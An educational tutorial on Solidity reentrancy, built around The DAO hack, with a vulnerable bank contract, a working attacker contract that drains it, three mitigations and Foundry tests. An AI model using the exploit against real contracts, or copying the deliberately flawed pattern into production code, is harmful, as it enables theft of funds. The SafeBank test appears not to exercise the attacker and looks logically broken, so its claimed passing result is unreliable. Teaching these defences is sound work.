Reentrancy: The Vulnerability That Cost The DAO $60 Million

1. Overview

Reentrancy is one of Solidity’s most notorious vulnerabilities — and it’s the reason The DAO lost approximately 3.6 million ETH (~$60 million USD at the time in 2016). This article explains the nature of reentrancy, recreates the attack scenario with real code, and shows three of the most common mitigation approaches. By the end, you’ll be able to write a vulnerable contract, an exploit contract, and a patched contract — complete with Foundry tests to prove it works.

2. What is Reentrancy

Reentrancy occurs when contract A makes an external call to contract B, and B calls back into A before A has finished updating its state. If A relies on that old state to make decisions, B can exploit that window to repeat an action (like withdrawing funds) multiple times.

The key point: in Solidity, any call, send, or ETH transfer with data can trigger the fallback/receive function of the recipient — and that’s where the loop begins.

3. The DAO: What Happened

The DAO was a decentralized investment fund that allowed token holders to withdraw their ETH via a splitDAO function. The function sends ETH first, then updates the withdrawer’s balance. An attacker wrote a contract with a fallback function that calls splitDAO right when it receives ETH — and since the balance hadn’t been decremented, the attacker could drain funds multiple times in a single transaction.

The result: 3.6 million ETH drained before the Ethereum community had to perform a controversial hard fork (creating Ethereum Classic) to restore the funds.

4. Recreating the Vulnerability in Code

4.1. A Vulnerable Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

contract VulnerableBank {
    mapping(address => uint256) public balances;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() external {
        uint256 amount = balances[msg.sender];
        require(amount > 0, "No balance");

        // Send ETH BEFORE updating state -> vulnerability!
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");

        balances[msg.sender] = 0;
    }
}

withdraw() calls msg.sender.call{value: amount}("") first, then sets balances[msg.sender] = 0. If msg.sender is a contract with a fallback, it can call withdraw() again while the call is executing — at that point, balances[msg.sender] hasn’t been decremented yet.

4.2. The Attack Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import "./VulnerableBank.sol";

contract ReentrancyAttacker {
    VulnerableBank public bank;
    uint256 public constant ATTACK_AMOUNT = 1 ether;

    constructor(address bankAddress) {
        bank = VulnerableBank(bankAddress);
    }

    function attack() external payable {
        require(msg.value == ATTACK_AMOUNT, "Need 1 ether");
        bank.deposit{value: ATTACK_AMOUNT}();
        bank.withdraw();
    }

    receive() external payable {
        if (address(bank).balance >= ATTACK_AMOUNT) {
            bank.withdraw(); // call again while balances[this] hasn't gone to 0
        }
    }
}

Execution flow:

  1. attack() deposits 1 ETH into VulnerableBank, then calls withdraw().
  2. withdraw() sends 1 ETH to ReentrancyAttacker, triggering receive().
  3. In receive(), the attacker sees the bank still has ETH, so calls withdraw() again — but balances[attacker] is still 1 ether (since we haven’t reached the update line yet).
  4. The loop continues until the bank runs out of funds or gas.
Bank balance before attack: 10 ether
Bank balance after attack:  0 ether
Attacker balance:           11 ether

Note: The code above is for educational purposes only. Do not deploy on mainnet or public testnets — even “just for fun”.

5. Why This Code Is Vulnerable

The root cause is violating the Checks-Effects-Interactions principle: first check (verify conditions), then update state (effect), then interact externally (interaction). VulnerableBank reverses the order of effect and interaction — it sends ETH (interaction) before decrementing the balance (effect).

Moreover, call{value: amount}("") forwards all remaining gas to the recipient (unlike transfer/send which limit to 2300 gas), so the attacker has enough gas to execute complex logic in fallback/receive.

6. How to Prevent Reentrancy

6.1. Checks-Effects-Interactions Pattern

The simplest and cheapest approach: update state before making external calls.

function withdraw() external {
    uint256 amount = balances[msg.sender];
    require(amount > 0, "No balance");

    balances[msg.sender] = 0; // Effect first

    (bool success, ) = msg.sender.call{value: amount}(""); // Interaction after
    require(success, "Transfer failed");
}

When the attacker calls withdraw() again in receive(), balances[msg.sender] is already 0, so require(amount > 0) reverts immediately — the loop is stopped.

6.2. OpenZeppelin’s ReentrancyGuard

If the logic is more complex and you want an explicit protection layer, use the nonReentrant modifier.

<!-- If using Hardhat/npm, install via npm: -->
npm install @openzeppelin/contracts
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";

contract SafeBank is ReentrancyGuard {
    mapping(address => uint256) public balances;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() external nonReentrant {
        uint256 amount = balances[msg.sender];
        require(amount > 0, "No balance");

        balances[msg.sender] = 0;

        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");
    }
}

nonReentrant uses an internal _status variable: when the function is running, it sets the state to “locked”; if there’s a call back into any other nonReentrant function of the contract during that time, the transaction reverts.

Note: nonReentrant only protects functions in the same contract with the modifier. It cannot prevent cross-contract reentrancy if you call into another contract and that contract calls back into a function without nonReentrant.

6.3. Pull Payment Pattern

Instead of automatically sending ETH, let users withdraw via a separate step, separating the logic for accruing funds and the logic for transferring them:

contract PullPaymentBank {
    mapping(address => uint256) public pendingWithdrawals;

    function creditWithdrawal(address user, uint256 amount) internal {
        pendingWithdrawals[user] += amount;
    }

    function withdraw() external {
        uint256 amount = pendingWithdrawals[msg.sender];
        require(amount > 0, "Nothing to withdraw");

        pendingWithdrawals[msg.sender] = 0;

        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");
    }
}

This pattern separates risk: even if withdraw() is called again, the logic to credit funds (creditWithdrawal) already happened elsewhere and isn’t affected.

7. Writing Tests to Prove the Attack and the Fix

For Solidity, the testing tool equivalent to JUnit is Foundry (forge-std). The tests below show that VulnerableBank gets drained while SafeBank does not.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import "forge-std/Test.sol";
import "../src/VulnerableBank.sol";
import "../src/SafeBank.sol";
import "../src/ReentrancyAttacker.sol";

contract ReentrancyTest is Test {
    VulnerableBank bank;
    SafeBank safeBank;

    address victim = address(0x1);

    function setUp() public {
        bank = new VulnerableBank();
        safeBank = new SafeBank();

        vm.deal(victim, 10 ether);
        vm.prank(victim);
        bank.deposit{value: 10 ether}();
    }

    function test_VulnerableBank_IsDrainedByReentrancy() public {
        ReentrancyAttacker attacker = new ReentrancyAttacker(address(bank));
        vm.deal(address(this), 1 ether);

        attacker.attack{value: 1 ether}();

        assertEq(address(bank).balance, 0);
        assertEq(address(attacker).balance, 11 ether);
    }

    function test_SafeBank_RejectsReentrancy() public {
        vm.deal(victim, 10 ether);
        vm.prank(victim);
        safeBank.deposit{value: 10 ether}();

        // Use attacker against SafeBank -> expect can't withdraw more than once
        vm.expectRevert();
        vm.prank(victim);
        safeBank.withdraw(); // calling again after already withdrew will revert since amount = 0
    }
}

Run tests:

forge test -vv

Expected output:

[PASS] test_VulnerableBank_IsDrainedByReentrancy()
[PASS] test_SafeBank_RejectsReentrancy()

The first test asserts that the bank is drained to 0 and the attacker receives 11 ETH — matching the The DAO scenario. The second test asserts that with SafeBank (applying Checks-Effects-Interactions), the second withdrawal reverts because the balance is already 0.

8. Common Mistakes

  • Switching from call to transfer/send without fixing the order of state updates: transfer limits gas to 2300, which does block simple reentrancy, but it’s not a complete solution — many legitimate wallets/contracts need more than 2300 gas to receive ETH (like proxy contracts), causing valid transactions to fail.
  • Overlooking cross-function reentrancy: two different functions that read/write the same state variable can be exploited against each other if you only fix one.
  • Read-only reentrancy: a view function returns stale state that another contract reads and uses incorrectly while a different transaction is executing — this still causes damage even without direct fund transfers.
  • Trusting nonReentrant alone is enough for your whole system: if you have multiple interacting contracts, you must review the entire call flow, not just one contract in isolation.

Note: Never treat any single pattern as “completely immune.” Always combine Checks-Effects-Interactions with nonReentrant for functions with external calls and money involved.

9. Conclusion

The DAO incident is a costly lesson: an innocuous-looking instruction order (send funds first, update the ledger later) forced the entire Ethereum community to hard fork. The Checks-Effects-Interactions principle, the nonReentrant modifier, and the pull payment pattern are three basic yet powerful tools to stop this class of vulnerability. Whenever you write any function with an external call and money transfer, always ask yourself: “Have I updated my state before I call out?”

soliditysmart-contractsecurityreentrancyblockchain